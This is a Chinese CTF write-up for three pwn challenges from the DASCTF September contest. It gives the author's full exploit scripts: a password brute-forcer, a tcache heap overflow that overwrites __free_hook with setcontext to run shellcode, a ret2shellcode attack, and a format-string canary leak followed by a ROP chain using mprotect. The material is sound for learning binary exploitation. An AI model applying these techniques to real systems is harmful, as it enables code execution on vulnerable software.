DASCTF-Sept-X-浙江工业大学秋季挑战赛-pwn-wp
DASCTF-Sept-X-浙江工业大学秋季挑战赛-pwn-wp
总结
10:30才起床做题......pwn是三道简单题,datasystem拿了个一血。hahapwn的远程靶机有问题,远程交互时惊现flag{flag_test}。我沉思片刻,随即怀着忐忑的心情点了提交,然而这个flag并不正确,有点迷。
datasystem: 堆溢出 +setcontexthehepwn:shellcodehahapwn:格式化字符串+栈溢出
datasystem
保护全开

系统调用禁得很佛系,arch也没检查,系统调用号范围也没检查:

给的libc版本是2.27,有tcache。
check分析
一进来有个check函数,要求输入username和passwd:

最后需要通过校验:

从上图也能看出username的校验是判断等不等于admin,这里循环次数是6,所以输入的时候后面带个\x00才能通过username的校验。
passwd有点复杂,不过可以直接用ida远程调试,查看一下比较s1和s2的时候,其值为多少。先随便输入密码,比如我先输入为passwd为admin123,发现s2是一个16进制字符串:


s1还看不出什么,然后我直接拷贝了s2作为密码输入:

然后发现s2的第1个字符变成了\x00:

之后换别的密码,但是s2第一个字符始终不是\x00。这个时候,我猜测是不是密码的长度要为32。于是分别输入32个a和32个b,发现s2的第一个字符始终为\x00。
有这么一个规律后,接下来可以爆破passwd了。就是枚举爆破某次密码得到的s1开头也是\x00,那么strcmp就能通过比较:
- 枚举所有的字符
- 输入
32个同样的字符作为密码,判断是否通过校验 - 通过校验即可以作为有效的密码
爆破的脚本如下:
import string
from pwn import *
context.log_level="error"
for c in range(0x100):
c = c.to_bytes(1, 'big')
p = process('./datasystem')
p.sendafter("please input username: ", "admin\x00")
p.sendafter("please input password: ", c*32)
msg = p.recvline()
if b"Fail" not in msg:
print('='*60)
print("a valid char:", c)
print('='*60)
p.close()
最后得到两个可以用的密码:

对check的分析即可告一段落,之后就是常规的堆溢出的题。
漏洞点
在add分支,输入内容的时候,存在堆溢出,这的size总是0x506:

也可以用gdb看一把:

利用思路
- 构造一个
unsorted bin - 利用
chunk中fd与bk残留的的地址泄露出libc地址 - 利用堆溢出覆盖
free chunk的fd为__free_hook - 0x200地址 - 分配到
__free_hook - 0x200处,覆盖__free_hook为setcontext+53 - 利用程序
mmap的0x23330000这一段rwx内存执行shellcode,先读入shellcode,然后跳转执行即可
exp
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
def login():
p.sendafter("please input username: ", "admin\x00")
p.sendafter("please input password: ", "c"*32)
def add(size, data="a\n"):
p.sendlineafter(">> :\n", "1")
p.sendlineafter("Size: \n", str(size))
p.sendafter("what's your Content: \n", data)
def delete(idx):
p.sendlineafter(">> :\n", "2")
p.sendlineafter("Index:\n", str(idx))
def show(idx):
p.sendlineafter(">> :\n", "3")
p.sendlineafter("Index:\n", str(idx))
m = p.recvline()
info(f"Get info:{m}")
return m
def edit(idx, data):
p.sendlineafter(">> :\n", "4")
p.sendlineafter("Index:\n", str(idx))
p.sendafter("Content:\n", data)
login()
add(0x420)
add(0x10) # 1
# get unsorted bin
delete(0)
# leak libc addr
add(0x8, "a"*8)
edit(0, "a"*8)
m = show(0)
libc_base_addr = u64_ex(m[0x11:0x17])- 0x3ec090
log_libc_base_addr(libc_base_addr)
libc.address = libc_base_addr
# overflow write
add(0x20) # 2
delete(2)
delete(0)
add(0x10, flat({0x10:[0, 0x311, libc.sym['__free_hook']-0x200]}))
add(0x20)
# setcontext to exec shellcode
payload = flat({
0x200:libc.sym['setcontext']+53,
0x100: 0x23330000, # rsp
0xa0: libc.sym['__free_hook']-0x100 ,# rsp
0x68: 0, # rdi
0x70: 0x23330000, # rsi
0x88: 0x200,
0xa8: libc.sym['read'] # rcx
}, filler="\x00")
add(0x20, payload)
delete(3)
sleep(1)
# send shellcode
p.sendline(asm(shellcraft.cat("/flag")))
p.interactive()
远程打:

hehepwn
什么保护都没有,白给

漏洞点
填满0x20个字符后可泄露栈地址:

栈溢出:

exp
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
p.sendafter("well you input:\n", "a"*0x20)
m = p.recvuntil("\x7f")
# leak stack addr
addr = u64_ex(m[-6:])
log_address("stack addr", addr)
# ret2shellcode
p.sendlineafter("EASY PWN PWN PWN~\n", flat({0:asm(shellcraft.cat('/flag')), 0x58: addr - 0x50}))
p.interactive()
远程打:

hahapwn
开启了NX和Canary,给的libc版本是2.23的:

强行禁用了execve:

漏洞点
格式化字符串和栈溢出:

远程靶机很诡异啊,泄露出地址后,我用libc.sym['read']执行read会失败,但是用二进制文件的read@plt可以成功,还有pop rdx; pop rsi; ret远程也会失败,就很迷。后来改了下gadgets,然后喜提test flag:

exp
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
libc: ELF = gift['libc']
# leak canary value, stack address and libc address using printf vulnerability
# offset 6
p.sendafter("Welcome! What is your name?\n", "%25$p,%27$p,%28$p")
m = p.recvline_startswith('0x')
log_ex(f"{m}")
leak_addr = int16(m[:14].decode()) - 324 - libc.sym['setvbuf']
log_libc_base_addr(leak_addr)
libc.address = leak_addr
canary = int16(m[15:33].decode())
log_address("canary", canary)
stack_addr = int16(m[34:48].decode())
log_address("stack", stack_addr)
start_addr = stack_addr - 0xc0
bss_addr = 0x601080
read_addr = 0x4005e0
puts_addr = 0x4005b0
# use gadgets searching from libc
libc_rdi_ret = leak_addr + 0x0000000000021112
libc_rdx_ret = leak_addr + 0x0000000000001b92
libc_rsi_ret = leak_addr + 0x00000000000202f8
libc_rax_ret = leak_addr + 0x000000000003a738
libc_syscall_ret = leak_addr + 0x00000000000bc3f5
payload = flat([
0x68*"a",
canary,
0,
libc_rdi_ret, 0,
libc_rsi_ret, bss_addr,
libc_rdx_ret, 800,
read_addr, # read shellcode
libc_rdi_ret, bss_addr,
puts_addr,
libc_rdi_ret, bss_addr &~0xfff,
libc_rsi_ret, 0x1000,
libc_rdx_ret, 7,
libc_rax_ret, SyscallNumber.amd64.MPROTECT, # mprotect changes page attribute to rwx
libc_syscall_ret,
bss_addr
], filler="\x00", length=0x200)
p.sendafter("What can we help you?\n", payload)
# send shellcode
p.send(asm(shellcraft.cat('/flag')))
flag_ = p.recvline_startswith("flag")
log_ex(f"Get flag: {flag_}")
p.interactive()
exp均使用我自己写的小工具pwncli编写,欢迎试用~
其他链接
1、My Blog
2、Ctf Wiki
3、pwncli
DASCTF-Sept-X-浙江工业大学秋季挑战赛-pwn-wp的更多相关文章
- 【pwn】DASCTF Sept 九月赛
[pwn]DASCTF Sept 月赛 1.hehepwn 先查看保护,栈可执行,想到shellcode 这题需要注意shellcode的写法 拖入ida中分析 一直以为iso scanf不能栈溢出, ...
- i春秋30强挑战赛pwn解题过程
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
- 2017年浙江工业大学之江学院程序设计竞赛决赛 I: qwb VS 去污棒(可持久化Trie+离线)
问题 I: qwb VS 去污棒 时间限制: 2 Sec 内存限制: 256 MB 提交: 74 解决: 26 [提交][状态][讨论版] 题目描述 qwb表白学姐失败后,郁郁寡欢,整天坐在太阳底 ...
- 2017年浙江工业大学大学生程序设计迎新赛预赛 H - 栗酱的文明
题目描述 “伟大的勇士兔栽栗女王,所有栗子看到您都不寒而栗,但也非常尊重您.您骑着威风凛凛的小白兔,带领兔栽栗们奋勇前行.伟大史诗告诉我们,烈兔勇栗从大草原飞奔出来,冲在每场战争的前线 ...
- 2017年浙江工业大学大学生程序设计迎新赛热身赛-J-Forever97与寄信
Forever97与未央是一对笔友,他们经常互相写信.有一天Forever97去邮局寄信,发现邮局的收费方式变成了按字收费,收取的费用为总字数除了其自身以外的最大因子.虽然Forever97是一个有情 ...
- 2017浙江工业大学-校赛决赛 BugZhu抽抽抽!!
Description 当前正火的一款手游阴阳师又出新式神了,BugZhu十分想要获得新出的式神,所以他决定花光所有的积蓄来抽抽抽!BugZhu经过长时间的研究后发现通过画三角外接圆能够提高获得该式神 ...
- 2017浙江工业大学-校赛决赛 XiaoWei的战斗力
Description XiaoWei沉迷RPG无法自拔,但是他的战斗力只有5,所以他决定氪金提升战斗力.XiaoWei购买了n个福袋.打开1个福袋后,有以下三种情况出现:1.获得屠龙宝刀,概率为p1 ...
- 2017浙江工业大学-校赛决赛 小M和天平
Description 小M想知道某件物品的重量,但是摆在他面前的只有一个天平(没有游标)和一堆石子,石子可以放左边也可以放右边.他现在知道每个石子的重量.问能不能根据上述条件,能不能测出所问的重量. ...
- 2021能源PWN wp
babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...
随机推荐
- java 常用类库:String ; StringBuilder和StringBuffer类
1. String 1.String对象是不可变的 String类的value属性是用来存放字符串里面的值的.这个属性是被final修饰的.final修饰的变量不能够被第二次赋值,所以字符串是不可变的 ...
- 【LeetCode】277. Find the Celebrity 解题报告 (C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 暴力 日期 题目地址:https://leetcode ...
- 【LeetCode】819. Most Common Word 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 正则+统计 日期 题目地址:https://leet ...
- 【感悟】观《BBC彩色二战纪录片》有感
2020年7月2日到3日我看了纪录片,以下是我的一些感悟 1.作为进攻者,无论大事还是小事都需要一鼓作气做完,以免留给对手喘息的机会.(指:未消灭) 2.作为防守者,要有顽强抵抗的精神,但要保留撤退的 ...
- 台湾旺玖MA8601|USB HUB方案|MA8601测试版
MA8601是USB 2.0高速4端口集线器控制器的高性能解决方案,完全符合通用串行总线规范2.0.MA8601继承了先进的串行接口技术,当4个DS(下游)端口同时工作时,功耗最低. MA8601采用 ...
- git中submodule子模块的添加、使用和删除
git中submodule子模块的添加.使用和删除 原文链接:https://blog.csdn.net/guotianqing/article/details/82391665背景项目中经常使用 ...
- .net core中Grpc使用报错:Request protocol 'HTTP/1.1' is not supported.
显然这个报错是说HTTP/1.1不支持. 首先,我们要知道,Grpc是Google开源的,跨语言的,高性能的远程过程调用框架,它是以HTTP/2作为通信协议的,所以当我启动启用一个服务作为Grpc的服 ...
- 关于java的Excel导入导出之easypoi
导入easypoi相关jar包,这里的easypoi-base的包也可以不倒入,因为easypoi-web中有依赖easypoi-base会自动导入的 <!-- https://mvnrepos ...
- django 项目中使用markdown编辑器
第一步: 修改models.py文件下要显示字段的类型为TextField 第二步:运行命令: python manage.py makemigrations 和 python manage.py ...
- Java的jar包构建成docker镜像并运行
结构如下 把jar和Dockerfile放到一个文件,不在一个文件下会报错文件找不到 创建一个构建文件 buildimage.sh vi /home/hanby/buildimage.sh echo ...